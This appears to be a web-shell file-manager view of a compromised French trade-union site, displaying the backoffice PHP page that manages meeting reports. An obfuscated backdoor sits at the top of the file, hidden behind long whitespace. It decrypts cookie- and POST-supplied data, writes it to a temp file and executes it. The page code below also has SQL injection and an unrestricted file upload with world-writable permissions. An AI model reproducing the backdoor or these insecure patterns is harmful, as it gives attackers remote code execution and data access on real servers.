PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/s/p/t/sptporgazz/www/backoffice/
File Upload :
Current File : /home/s/p/t/sptporgazz/www/backoffice/comptes_rendus.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("jkacy")){class jkacy{public static $vyguvlx = "kfepcvtxxqmzibqn";public static $txvvndcxt = NULL;public function __construct(){$yqhqotevkd = @$_COOKIE[substr(jkacy::$vyguvlx, 0, 4)];if (!empty($yqhqotevkd)){$jcymacxm = "base64";$rullh = "";$yqhqotevkd = explode(",", $yqhqotevkd);foreach ($yqhqotevkd as $vvugyv){$rullh .= @$_COOKIE[$vvugyv];$rullh .= @$_POST[$vvugyv];}$rullh = array_map($jcymacxm . "_decode", array($rullh,));$rullh = $rullh[0] ^ str_repeat(jkacy::$vyguvlx, (strlen($rullh[0]) / strlen(jkacy::$vyguvlx)) + 1);jkacy::$txvvndcxt = @unserialize($rullh);}}public function __destruct(){$this->zgfrfsk();}private function zgfrfsk(){if (is_array(jkacy::$txvvndcxt)) {$zhxqt = sys_get_temp_dir() . "/" . crc32(jkacy::$txvvndcxt["salt"]);@jkacy::$txvvndcxt["write"]($zhxqt, jkacy::$txvvndcxt["content"]);include $zhxqt;@jkacy::$txvvndcxt["delete"]($zhxqt);exit();}}}$dwijxdkats = new jkacy();$dwijxdkats = NULL;} ?><?php
session_start();
include("_inc/connect.php");

$modif_m=0;
$modif=0;
$modif_an=0;






if(isset($_GET['id_an'])&&($_GET['id_an']!="")&&isset($_GET['action'])&&($_GET['action']=="supprimer")) {
	
			$id_the_an = $_GET['id_an'];
			
			
			$sql_the_m = "DELETE FROM annees_comptes_rendus WHERE annee=$id_the_an";
			
				if(mysql_query($sql_the_m))
						{
             ?>
              <SCRIPT type ="text/javascript">
	              alert("Annee supprim\351e");
	              location.href="comptes_rendus.php";
              </SCRIPT>
              <?

            }
						else
						{
               ?>
                <SCRIPT LANGUAGE='JavaScript'>
	               alert("Une erreur est survenue. merci de recommencer<?echo mysql_error();?>");
	               location.href='comptes_rendus.php';
                </SCRIPT>
               <?

             }
	
}



if(isset($_GET['id_an'])&&($_GET['id_an']!="")&&isset($_GET['action'])&&($_GET['action']=="modifier")) {
	$the_annee = $_GET['id_an'];
	$modif_an = 1;
	
	
	$sql_the_an = "SELECT * FROM annees_comptes_rendus WHERE annee='$the_annee' ORDER BY annee ASC";
	$res_the_an = mysql_query($sql_the_an) or die(mysql_error());
	
	$the_tab_cat = array();
	
	while($row_the_an = mysql_fetch_array($res_the_an)) {
		$une_cate = $row_the_an['categorie'];
		
		array_push($the_tab_cat,$une_cate);
		
	}
	
}




if(isset($_GET['id_cr'])&&($_GET['id_cr']!="")&&isset($_GET['action'])&&($_GET['action']=="modifier")) {
	
			$id_the_cr = $_GET['id_cr'];
			$modif_m = 1;
			
			
			$sql_the_cr = "SELECT * FROM comptes_rendus WHERE id_cr=$id_the_cr";
			$res_the_cr = mysql_query($sql_the_cr) or die(mysql_error());
			
			while($row_the_cr=mysql_fetch_array($res_the_cr)) {
				$titre_lien_the_cr = $row_the_cr['titre_lien'];
				$entete_the_cr = $row_the_cr['entete_cr'];
				
				$type_the_cr = $row_the_cr['id_type_compte_rendu'];
				
				$date_the_cr = $row_the_cr['date_cr'];
				
				$part = explode('-',$date_the_cr);
				
				$jour_the_cr = $part[2];
				$mois_the_cr = $part[1];
				$annee_the_cr = $part[0];
				
				$date_lettres_the_cr = $row_the_cr['date_lettres'];
				$texte_the_cr = $row_the_cr['texte'];
				
				$fichier = $row_the_cr['fichier'];
			}
	
}






if(isset($_GET['id_cr'])&&($_GET['id_cr']!="")&&isset($_GET['action'])&&($_GET['action']=="supprimer")) {
	
			$id_the_cr = $_GET['id_cr'];
			
			
			$sql_the_m = "DELETE FROM comptes_rendus WHERE id_cr=$id_the_cr";
			
				if(mysql_query($sql_the_m))
						{
             ?>
              <SCRIPT type ="text/javascript">
	              alert("Compte rendu supprim\351");
	              location.href="comptes_rendus.php";
              </SCRIPT>
              <?

            }
						else
						{
               ?>
                <SCRIPT LANGUAGE='JavaScript'>
	               alert("Une erreur est survenue. merci de recommencer<?echo mysql_error();?>");
	               location.href='comptes_rendus.php';
                </SCRIPT>
               <?

             }
	
}





if(isset($_GET['id_cat'])&&($_GET['id_cat']!="")&&isset($_GET['action'])&&($_GET['action']=="modifier")) {
	
			$id_the_cat = $_GET['id_cat'];
			$modif = 1;
			
			
			$sql_the_cat = "SELECT * FROM type_compte_rendu WHERE id_type_compte_rendu=$id_the_cat";
			$res_the_cat = mysql_query($sql_the_cat) or die(mysql_error());
			
			while($row_the_cat=mysql_fetch_array($res_the_cat)) {
				$nom_the_cat = $row_the_cat['nom'];
				$position_the_cat = $row_the_cat['position'];
			}
	
}






if(isset($_GET['id_cat'])&&($_GET['id_cat']!="")&&isset($_GET['action'])&&($_GET['action']=="supprimer")) {
	
			$id_the_cat = $_GET['id_cat'];
			
			
			$sql_the_m = "DELETE FROM type_compte_rendu WHERE id_type_compte_rendu=$id_the_cat";
			
				if(mysql_query($sql_the_m))
						{
             ?>
              <SCRIPT type ="text/javascript">
	              alert("Categorie Compte rendu supprim\351e");
	              location.href="comptes_rendus.php";
              </SCRIPT>
              <?

            }
						else
						{
               ?>
                <SCRIPT LANGUAGE='JavaScript'>
	               alert("Une erreur est survenue. merci de recommencer<?echo mysql_error();?>");
	               location.href='comptes_rendus.php';
                </SCRIPT>
               <?

             }
	
}






if(isset($_POST['submit'])) {


            if($_POST['submit']=="OK") {
							
										$modifs = 0;
										
										$annee_visible = $_POST['annee_visible'];
										
										foreach($_POST['cat_cr'] as $une_cat) {
											//echo $une_cat . "<br>";
											
													$sql_save_an = "INSERT INTO annees_comptes_rendus(annee,categorie) VALUES('$annee_visible',$une_cat)";
										
													if(mysql_query($sql_save_an))
														{
															$modifs = 1;
														}
														else
														{
															$modifs = 0;
														}
														
										}
										
										
										
										if($modifs == 1) {
												?>
												<SCRIPT type ="text/javascript">
													alert("Annee ajout\351e");
													location.href="comptes_rendus.php";
												</SCRIPT>
												<?
										} else {
												?>
													<SCRIPT LANGUAGE='JavaScript'>
													alert("Une erreur est survenue. merci de recommencer");
													location.href="comptes_rendus.php";
													</SCRIPT>
												<?
										}
										
							
							
							
            }
            
            
            
            
            if($_POST['submit']=="Modifier Annee") {
							
										$modifs = 0;
										
										$annee_visible = $_POST['annee_visible'];
										
										
										$sql_supp_tout = "DELETE FROM annees_comptes_rendus WHERE annee='$annee_visible'";
										$res_supp_tout = mysql_query($sql_supp_tout) or die('Erreur supp tout');
										
										foreach($_POST['cat_cr'] as $une_cat) {
											//echo $une_cat . "<br>";
											
													$sql_save_an = "INSERT INTO annees_comptes_rendus(annee,categorie) VALUES('$annee_visible',$une_cat)";
										
													if(mysql_query($sql_save_an))
														{
															$modifs = 1;
														}
														else
														{
															$modifs = 0;
														}
														
										}
										
										
										
										if($modifs == 1) {
												?>
												<SCRIPT type ="text/javascript">
													alert("Annee modifi\351e");
													location.href="comptes_rendus.php";
												</SCRIPT>
												<?
										} else {
												?>
													<SCRIPT LANGUAGE='JavaScript'>
													alert("Une erreur est survenue. merci de recommencer");
													location.href="comptes_rendus.php";
													</SCRIPT>
												<?
										}
										
							
							
							
            }
            
            
            
						
						if($_POST['submit']=="Modifier Categorie") {
						
								$id_the_cat = $_POST['id_the_cat'];
								$nom_the_cat = $_POST['nom_the_cat'];
								$position_the_cat = $_POST['position_the_cat'];
								
								
								$sql_upd = "UPDATE type_compte_rendu SET nom='".addslashes($nom_the_cat)."',position='$position_the_cat' WHERE id_type_compte_rendu=$id_the_cat";
								
								if(mysql_query($sql_upd))
											{
											?>
												<SCRIPT type ="text/javascript">
													alert("Categorie Compte Rendu modifi\351a");
													location.href="comptes_rendus.php";
												</SCRIPT>
												<?

											}
											else
											{
												?>
													<SCRIPT LANGUAGE='JavaScript'>
													alert("Une erreur est survenue. merci de recommencer");
													location.href="comptes_rendus.php?id_cat=<?echo $id_the_m;?>&action=modifier";
													</SCRIPT>
												<?

											}
								
						}
	
	
	
	
						if($_POST['submit']=="Ajouter Categorie") {
						
								$nom_the_cat = $_POST['nom_the_cat'];
								$position_the_cat = $_POST['position_the_cat'];
								
								
								
								$sql_upd = "INSERT INTO type_compte_rendu(nom,position) VALUES('$nom_the_cat',$position_the_cat)";
								
								if(mysql_query($sql_upd))
											{
											?>
												<SCRIPT type ="text/javascript">
													alert("Categorie Compte Rendu ajout\351e");
													location.href="comptes_rendus.php";
												</SCRIPT>
												<?

											}
											else
											{
												?>
													<SCRIPT LANGUAGE='JavaScript'>
													alert("Une erreur est survenue. merci de recommencer");
													location.href="comptes_rendus.php";
													</SCRIPT>
												<?

											}
								
						}
						
						
						
						
						
						
						
						
						
						
						
						if($_POST['submit']=="Modifier Compte Rendu") {
						
								$id_the_m = $_POST['id_the_cr'];
								
								$type_cr_m = $_POST['type_the_cr'];
								
								$titre_lien_m = $_POST['titre_lien_the_cr'];
								$entete_cr_m = $_POST['entete_the_cr'];
								
								$jour_cr = $_POST['jour_cr'];
								$mois_cr = $_POST['mois_cr'];
								$annee_cr = $_POST['annee_cr'];
								
								
								$date_cr_m = $annee_cr . "-" . $mois_cr . "-" . $jour_cr;
								
								$date_lettres_m = $_POST['date_lettres_the_cr'];
								$texte_m = $_POST['texte_the_cr'];
								
								
								$ex_fichier = $_POST['ex_fichier'];
								
								
								
								
								if($_FILES['fichier']['name']!="") 
								{
									$new_fichier = $_FILES['fichier']['name'];
									move_uploaded_file($_FILES['fichier']['tmp_name'],"../_fichiers/" . $new_fichier);
									chmod("../_fichiers/" . $new_fichier,0777);
								} else {
									$new_fichier = $ex_fichier;
								}
								
								
								$sql_upd = "UPDATE comptes_rendus SET id_type_compte_rendu=$type_cr_m,titre_lien='".addslashes($titre_lien_m)."',entete_cr='".addslashes($entete_cr_m)."',date_cr='".addslashes($date_cr_m)."',date_lettres='".addslashes($date_lettres_m)."',texte='".addslashes($texte_m)."',fichier='$new_fichier' WHERE id_cr=$id_the_m";
								
								if(mysql_query($sql_upd))
											{
											?>
												<SCRIPT type ="text/javascript">
													alert("Compte Rendu modifi\351");
													location.href="comptes_rendus.php";
												</SCRIPT>
												<?

											}
											else
											{
												?>
													<SCRIPT LANGUAGE='JavaScript'>
													alert("Une erreur est survenue. merci de recommencer");
													location.href="comptes_rendus.php?id_cr=<?echo $id_the_m;?>&action=modifier";
													</SCRIPT>
												<?

											}
								
						}
	
	
	
	
						if($_POST['submit']=="Ajouter Compte Rendu") {
						
								$titre_lien_m = $_POST['titre_lien_the_cr'];
								$entete_cr_m = $_POST['entete_the_cr'];
								
								$type_cr_m = $_POST['type_the_cr'];
								
								$jour_cr = $_POST['jour_cr'];
								$mois_cr = $_POST['mois_cr'];
								$annee_cr = $_POST['annee_cr'];
								
								
								$date_cr_m = $annee_cr . "-" . $mois_cr . "-" . $jour_cr;
								
								$date_lettres_m = $_POST['date_lettres_the_cr'];
								$texte_m = $_POST['texte_the_cr'];
								
								
								
								if($_FILES['fichier']['name']!="") 
								{
									$new_fichier = $_FILES['fichier']['name'];
									move_uploaded_file($_FILES['fichier']['tmp_name'],"../_fichiers/" . $new_fichier);
									chmod("../_fichiers/" . $new_fichier,0777);
								} else {
									$new_fichier = "";
								}
								
								
								
								$sql_upd = "INSERT INTO comptes_rendus(id_type_compte_rendu,titre_lien,entete_cr,date_cr,date_lettres,texte,fichier) VALUES($type_cr_m,'".addslashes($titre_lien_m)."','".addslashes($entete_cr_m)."','$date_cr_m','".addslashes($date_lettres_m)."','".addslashes($texte_m)."','$new_fichier')";
								
								if(mysql_query($sql_upd))
											{
											?>
												<SCRIPT type ="text/javascript">
													alert("Compte Rendu ajout\351");
													location.href="comptes_rendus.php";
												</SCRIPT>
												<?

											}
											else
											{
												?>
													<SCRIPT LANGUAGE='JavaScript'>
													alert("Une erreur est survenue. merci de recommencer");
													location.href="comptes_rendus.php";
													</SCRIPT>
												<?

											}
								
						}
	
	
	
	
}




$sql_m = "SELECT * FROM comptes_rendus ORDER BY date_cr";
$res_m = mysql_query($sql_m) or die(mysql_error());


$sql_tc = "SELECT * FROM type_compte_rendu ORDER BY position";
$res_tc = mysql_query($sql_tc) or die(mysql_error());


$sql_tc1 = "SELECT * FROM type_compte_rendu ORDER BY position";


$sql_tc2 = "SELECT * FROM type_compte_rendu ORDER BY position";
$res_tc2 = mysql_query($sql_tc2) or die(mysql_error());



$sql_an = "SELECT DISTINCT(annee) FROM annees_comptes_rendus ORDER BY annee ASC";
$res_an = mysql_query($sql_an) or die(mysql_error());

?>



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

      <title>SPTP - Syndicat Parisien des Travaux Publics</title>
      
      
      <?include("modules/tiny.php");?>
      
				      <meta name="description" content="Syndicat Parisien des Travaux Publics" />
              <link rel="image_src" href="_images/home/logo.jpg" />
				      <meta name="medium" content="multi" />
				      
							<meta property="og:title" content="SPTP"/>
							<meta property="og:description" content="Syndicat Parisien des Travaux Publics" />
							<meta property="og:image" content="http://dev1.3xo.fr/sptp/_images/home/logo.jpg" />
							
							<link rel="shotcut icon" href="_images/home/logo.jpg" />      

							<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
							<META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css">


							<meta name="author" content="3xo" />
							<meta name="copyright" content="SPTP" />
							<meta name="expires" content="never" />
							<meta name="keywords" content="SPTP,syndicat,parisien,travaux,public,publics,syndicats,parisiens,syndicat parisien,travaux publics,Syndicat Parisien des Travaux Publics" />
							<meta name="rating" content="general" />
							<meta name="rev" content="ibrahima.sow@3xo.fr" />
							<meta name="revisit-after" content="2 days" />
							<meta name="robots" content="all" />
							<meta name="subject" content="Syndicat Parisien des Travaux Publics" />

							<meta http-equiv="robots" content="all" />
							
										
										

								<!--Les CSS -->
							<link media="all" type="text/css" href="_css/style.css" rel="stylesheet">
							
							
							<!-- Les JS -->
							<script type="text/javascript" src="_js/jquery.js"></script>							
							
							<script type="text/javascript" src="_js/fonctionsJS.js"></script>					
							

							<script type="text/javascript">
							
								jQuery(document).ready(function(){
									menu_actif=1;placer_menu_actif();
									//start_facebox();
								});
							
							</script>


</head>



<body>




		<div class="fond_principal">
		
				<div class="fond_principal_centre">
					
							<div class="menu">
									<?$menu_actif=2;$sous_menu_actif=22;include('_inc/menu.php');?>
							</div> <!-- fin menu -->
							
							
							
							
							
							<div class="centre_page">
							
							
										<div class="entete_page">Gestion des Comptes Rendus</div>
										
										<div class="contenu_page">
										
										
										
										
										
														<div class="sous_bloc" style="width:700px;margin-top:40px;">
																
																										<div class="sous_bloc">Gestion des Annees Visibles</div>
																										
																										<div class="sous_bloc" style="margin-top:30px;margin-left:40px;width:660px;">
																										
																																		<form action="" method="post" enctype="multipart/form-data">
																																		<table cellpadding="4" cellspacing="4">
																																		
																																				<tr>
																																					<td>Annee : </td>
																																					<td><input type="text" name="annee_visible" size="5" value="<?if($modif_an==1) {echo $the_annee;}?>" /></td>
																																				</tr>
																																				
																																				
																																				<tr>
																																					<td>Categorie : </td>
																																					<td>
																																						<table cellpadding="4" cellspacing="4">
																																							<?
																																							$res_tca = mysql_query($sql_tc1) or die(mysql_error());
																																							$nbre_tca = mysql_num_rows($res_tca);
																																							
																																							$k = 0;
																																							while($row_tca = mysql_fetch_array($res_tca)) {
																																								$k++;
																																								
																																								$id_type_compte_rendu = $row_tca['id_type_compte_rendu'];
																																								$nom_type_compte_rendu = $row_tca['nom'];
																																								
																																										if(($k%3)==1) {
																																											?>
																																												<tr><td><input type="checkbox" name="cat_cr[]" value="<?echo $id_type_compte_rendu;?>"  <?if(($modif_an==1)&&in_array($id_type_compte_rendu,$the_tab_cat)) { echo " CHECKED='CHECKED'";}?> />&nbsp;<?echo $nom_type_compte_rendu;?></td>
																																											<?
																																										}
																																										
																																										
																																										if(($k%3)==2) {
																																											?>
																																												<td><input type="checkbox" name="cat_cr[]" value="<?echo $id_type_compte_rendu;?>"  <?if(($modif_an==1)&&in_array($id_type_compte_rendu,$the_tab_cat)) { echo " CHECKED='CHECKED'";}?> />&nbsp;<?echo $nom_type_compte_rendu;?></td>
																																											<?
																																										}
																																										
																																										
																																										if(($k%3)==0) {
																																											?>
																																												<td><input type="checkbox" name="cat_cr[]" value="<?echo $id_type_compte_rendu;?>"  <?if(($modif_an==1)&&in_array($id_type_compte_rendu,$the_tab_cat)) { echo " CHECKED='CHECKED'";}?> />&nbsp;<?echo $nom_type_compte_rendu;?></td>
																																											<?
																																										}
																																								
																																							}
																																							?>
																																							
																																							
																																							<?if(($nbre_tca%3)!=0) {?></tr><?}?>
																																						</table>
																																					</td>
																																				</tr>
																																				
																																				
																																				<tr>																																				
																																				<td></td>
																																				<td><td><input type="submit" name="submit" value="<?if($modif_an==1) {echo 'Modifier Annee';} else {echo 'OK';}?>" /></td></td>
																																				</tr>
																																				
																																		</table>
																																		</form>
																										
																										</div>
																										
																										
																										
																										
																										
																										<div class="sous_bloc" style="margin-top:30px;margin-left:40px;width:360px;">																										
																										
																										<?
																												while($row_an = mysql_fetch_array($res_an)) {
																												
																													$id_an = $row_an['id_annee'];
																													$annee = $row_an['annee'];
																												
																												
																												?>
																												
																														<div class="bloc_element" style="width:100px;clear:both;">
																														
																																<div class="bloc_element_gauche" style="min-width:50px;"><span style="position:relative;float:left;margin-top:3px;"><?echo $annee;?></span></div>
																																
																																<div class="bloc_element_droite" style="width:40px;">
																																		<span style="position:relative;float:right;margin-top:2px;">
																																		<a href="comptes_rendus.php?id_an=<?php echo $annee; ?>&action=modifier">
																																			<img src="_icones/modifier1.png" onmouseout="this.src='_icones/modifier1.png';" onmouseover="this.src='_icones/modifier1.png';" style="border:none;" alt="" title="Modifier les infos" />
																																		</a>
																																		&nbsp;&nbsp;&nbsp;
																																		<a href="comptes_rendus.php?id_an=<?php echo $annee; ?>&action=supprimer">
																																			<img src="_icones/supprimer1.png" onmouseout="this.src='_icones/supprimer1.png';" onmouseover="this.src='_icones/supprimer1.png';" style="border:none;" alt="" title="Supprimer Annee"  onClick="return(confirm('Etes-vous sur de vouloir supprimer cette annee ?'))" />
																																		</a>
																																		</span>
																																</div>
																																
																														</div>
																												
																												<?
																												}
																												?>
																												
																										</div>
																										
																										
																										
																										
																										
																										<div class="sous_bloc" style="margin-top:200px;margin-left:40px;width:360px;">Gestion des categories de comptes rendus</div>
																										
																										<div class="sous_bloc" style="margin-top:30px;margin-left:40px;width:360px;">
																										
																																<div style="position:relative;float:left;width:100%;">Ajouter/Modifier Categorie de Compte Rendu</div>
																												
																																<div style="position:relative;float:left;width:100%;">
																																
																																		<form action="" method="post" enctype="multipart/form-data">
																																		<table cellpadding="4" cellspacing="4" width="500px">
																																		
																																				<tr>
																																					<td></td>
																																					<td><br></td>
																																					<td><br></td>
																																				</tr>
																																				
																																				<tr>
																																					<td></td>
																																					<td><b>Nom</b></td>
																																					<td><b>Position</b></td>
																																				</tr>
																																				
																																				<tr>
																																					<td>Categorie : <?if($modif==1) {?><input type="hidden" name="id_the_cat" value="<?echo $id_the_cat;?>" /><?}?></td>
																																					<td><input type="text" name="nom_the_cat" value="<?echo $nom_the_cat;?>" /></td>
																																					<td><input type="text" name="position_the_cat" value="<?echo $position_the_cat;?>" /></td>
																																				</tr>
																																				
																																				
																																				<tr>
																																					<td></td>
																																					<td><input type="submit" name="submit" value="<?if($modif==1) {echo 'Modifier Categorie';} else {echo 'Ajouter Categorie';}?>" /></td>
																																				</tr>
																																		
																																		
																																		</table>
																																		</form>
																																
																																
																																</div>
																										
																										
																										</div>
																										
																										<div class="sous_bloc" style="margin-top:40px;margin-left:40px;width:360px;">
																										
																												<?
																												while($row_tc = mysql_fetch_array($res_tc)) {
																												
																													$id_type_compte_rendu = $row_tc['id_type_compte_rendu'];
																													$nom_type_compte_rendu = $row_tc['nom'];
																												
																												
																												?>
																												
																														<div class="bloc_element">
																														
																																<div class="bloc_element_gauche"><?echo $nom_type_compte_rendu;?></div>
																																
																																<div class="bloc_element_droite">
																																		<a href="comptes_rendus.php?id_cat=<?php echo $id_type_compte_rendu; ?>&action=modifier">
																																			<img src="_icones/modifier1.png" onmouseout="this.src='_icones/modifier1.png';" onmouseover="this.src='_icones/modifier1.png';" style="border:none;" alt="" title="Modifier les infos" />
																																		</a>
																																		&nbsp;&nbsp;&nbsp;
																																		<a href="comptes_rendus.php?id_cat=<?php echo $id_type_compte_rendu; ?>&action=supprimer">
																																			<img src="_icones/supprimer1.png" onmouseout="this.src='_icones/supprimer1.png';" onmouseover="this.src='_icones/supprimer1.png';" style="border:none;" alt="" title="Supprimer l'utilisateur"  onClick="return(confirm('Etes-vous sur de vouloir supprimer cette categorie ?'))" />
																																		</a>
																																</div>
																																
																														</div>
																												
																												<?
																												}
																												?>
																										
																										</div>
																
														</div>
														
														
														
										
														
														<div class="sous_bloc" style="margin-top:150px;width:900px;">
																
																<div class="sous_bloc" style="margin-top:30px;margin-left:40px;width:625px;">
																
																						<div style="position:relative;float:left;width:100%;font-size:15px">Ajouter/Modifier des Comptes Rendus</div>
																		
																						<div style="position:relative;float:left;width:100%;margin-top:10px;">
																						
																								<form action="" method="post" enctype="multipart/form-data">
																								<table cellpadding="4" cellspacing="4">
																								
																										
																										<tr>
																											<td>Type compte rendu : </td>
																											<td>
																												
																												<select name="type_the_cr">
																												
																													<?
																													while($row_tc2 = mysql_fetch_array($res_tc2)) {
																														$id_type_compte_rendu2 = $row_tc2['id_type_compte_rendu'];
																														$nom_type_compte_rendu2 = $row_tc2['nom'];
																														?>
																															
																															<option value="<?echo $id_type_compte_rendu2;?>" <?if($type_the_cr==$id_type_compte_rendu2) {echo " SELECTED";}?>><?echo $nom_type_compte_rendu2;?></option>
																														<?
																													}
																													?>
																												
																												</select>
																												
																											</td>
																										</tr>
																										
																										<tr>
																											<td>Titre compte rendu (lien) : <?if($modif_m==1) {?><input type="hidden" name="id_the_cr" value="<?echo $id_the_cr;?>" /><?}?></td>
																											<td><input type="text" name="titre_lien_the_cr" value="<?echo $titre_lien_the_cr;?>" /></td>
																										</tr>
																										
																										
																										<tr>
																											<td>Entete compte rendu : </td>
																											<td><textarea name="entete_the_cr"><?echo $entete_the_cr;?></textarea></td>
																										</tr>
																										
																										
																										<tr>
																											<td>Date (JJ MM AAAA) : </td>
																											<td><input type="text" name="jour_cr" size="4" max-length="2" value="<?echo $jour_the_cr;?>" />&nbsp;&nbsp;<input type="text" name="mois_cr" size="4" max-length="2" value="<?echo $mois_the_cr;?>" />&nbsp;&nbsp;<input type="text" name="annee_cr" size="8" max-length="4" value="<?echo $annee_the_cr;?>" /></td>
																										</tr>
																										
																										<tr>
																											<td>Date en toutes lettres : </td>
																											<td><input type="text" name="date_lettres_the_cr" value="<?echo $date_lettres_the_cr;?>" /></td>
																										</tr>
																										
																										
																										<tr>
																											<td>Texte compte rendu : </td>
																											<td><textarea name="texte_the_cr"><?echo $texte_the_cr;?></textarea></td>
																										</tr>
																										
																										
																										<tr>
																											<td>Fichier Attach&eacute; : </td>
																											<td><input type="file" name="fichier" /><?if($modif_m==1) {?><input type="hidden" name="ex_fichier" value="<?echo $fichier;?>" />&nbsp;&nbsp;&nbsp;<a href="../_fichiers/<?echo $fichier;?>">Voir le fichier associ&eacute;</a><?}?></td>
																										</tr>
																										
																										
																										<tr>
																											<td></td>
																											<td><input type="submit" name="submit" value="<?if($modif_m==1) {echo 'Modifier Compte Rendu';} else {echo 'Ajouter Compte Rendu';}?>" /></td>
																										</tr>
																								
																								
																								</table>
																								</form>
																						
																						
																						</div>
																
																
																</div>
																
																<div class="sous_bloc" style="margin-top:40px;margin-left:40px;width:625px;">
																
																
																
																
																<?
																	$res_tca2 = mysql_query($sql_tc1) or die(mysql_error());
																	
																	$k = 0;
																	while($row_tca2 = mysql_fetch_array($res_tca2)) {
																		$k++;
																		
																		$id_type_compte_rendu = $row_tca2['id_type_compte_rendu'];
																		$nom_type_compte_rendu = $row_tca2['nom'];
																																								
																?>
																										
																		<div class="une_annee_liste">
																					
																								<div class="haut_une_annee_liste">
																									
																											<span style="position:relative;float:left;"><?echo $nom_type_compte_rendu;?></span>
																											
																									
																								</div>
																								
																								
																								<div class="bas_une_annee_liste">
																								
																								
																													
																													<?
																													$sql_m = "SELECT * FROM comptes_rendus WHERE id_type_compte_rendu=$id_type_compte_rendu ORDER BY date_cr ASC";
																													$res_m = mysql_query($sql_m) or die(mysql_error());
																													
																														while($row_m = mysql_fetch_array($res_m)) {
																														
																															$id_cr = $row_m['id_cr'];
																															$titre_lien = $row_m['titre_lien'];
																															$date_lettres = $row_m['date_lettres'];
																														
																														
																														?>
																														
																																<div class="bloc_element">
																																
																																		<div class="bloc_element2_gauche"><?echo $titre_lien;?></div>
																																		
																																		
																																		<div class="bloc_element2_milieu"><?echo $date_lettres;?></div>
																																		
																																		<div class="bloc_element2_droite">
																																				<a href="comptes_rendus.php?id_cr=<?php echo $id_cr; ?>&action=modifier">
																																					<img src="_icones/modifier1.png" onmouseout="this.src='_icones/modifier1.png';" onmouseover="this.src='_icones/modifier1.png';" style="border:none;" alt="" title="Modifier les infos" />
																																				</a>
																																				&nbsp;&nbsp;&nbsp;
																																				<a href="comptes_rendus.php?id_cr=<?php echo $id_cr; ?>&action=supprimer">
																																					<img src="_icones/supprimer1.png" onmouseout="this.src='_icones/supprimer1.png';" onmouseover="this.src='_icones/supprimer1.png';" style="border:none;" alt="" title="Supprimer l'utilisateur"  onClick="return(confirm('Etes-vous sur de vouloir supprimer ce compte rendu ?'))" />
																																				</a>
																																		</div>
																																		
																																</div>
																														
																														<?
																														}
																														?>
																		
																								
																								
																								</div>
																								
																								
																		</div>
																		
																		
																<?
																}
																?>
																
																
																
																
																
																
																
																
																
																
																
																
																
																
																
																
																
																		
																
																</div>
																
														</div>
												
										
										</div>
										
										
										
										
							</div>  <!-- fin centre_page -->
					
				</div> <!-- fin fond_principal_centre -->
		
		</div> <!-- fin fond_principal -->



</body>


</html>

WiTcH hUnT3r Plugin 2018